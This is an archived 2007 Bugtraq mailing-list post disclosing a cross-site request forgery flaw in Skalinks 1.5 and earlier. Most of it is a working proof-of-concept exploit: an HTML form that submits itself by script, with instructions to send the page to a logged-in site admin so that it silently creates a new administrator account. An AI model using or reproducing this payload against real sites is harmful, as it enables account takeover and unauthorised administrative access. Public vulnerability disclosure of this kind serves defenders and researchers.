bugtraq - Skalinks <= 1_5 Cross Site Request Forgery Add Admin

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20071103230918.10369.qmail@securityfocus.com>
Date: 3 Nov 2007 23:09:18 -0000
From: djvincy@...mail.it
To: bugtraq@...urityfocus.com
Subject: Skalinks <= 1_5 Cross Site Request Forgery Add Admin

##########################################################################
#   _   _            _    _                _____          _     _        #
#  | | | |          | |  (_)              |_   _|        (_)   | |       #
#  | |_| | __ _  ___| | ___ _ __   __ _     | | _ __  ___ _  __| | ___   #
#  |  _  |/ _` |/ __| |/ / | '_ \ / _` |    | || '_ \/ __| |/ _` |/ _ \  #
#  | | | | (_| | (__|   <| | | | | (_| |   _| || | | \__ \ | (_| |  __/  #
#  \_| |_/\__,_|\___|_|\_\_|_| |_|\__, |   \___/_| |_|___/_|\__,_|\___|  #
#                                  __/ |                                 #
#                                 |___/                                  #
#________________________________________________________________________#
|                                                                        |
| Site: www.hackinginside.altervista.org                                 |
| Project: Skalinks <= 1_5 Cross Site Request Forgery Add Admin          |
| Author: Vincy                                                          |
| Email: djvincy@...mail.it                                              |
|________________________________________________________________________|

This code, must be saved in a HTML page and sended to the site admin. So the admin will add a new admin in the mySQL with that info.
It work only if admin's logged.

-------------------------------------------------------------------------------------------
<form action="http://site.com/path/admin/admin_account.php" name="add_admin" method="post">
<input type="text" name="admin_name" value="[ NOME ]">
<input type="text" name="admin_password" value="[ PASSWORD ]">
<input type="text" name="admin_email" value="[ EMAIL ]">
<select name="admin_type"><option value="2">Super Editor</option></select>
<input type=hidden name="Add_admin" value="Add Admin">
</form>
<script>document.add_admin.submit()</script>
-------------------------------------------------------------------------------------------

# Vincy - Hacking Inside Crew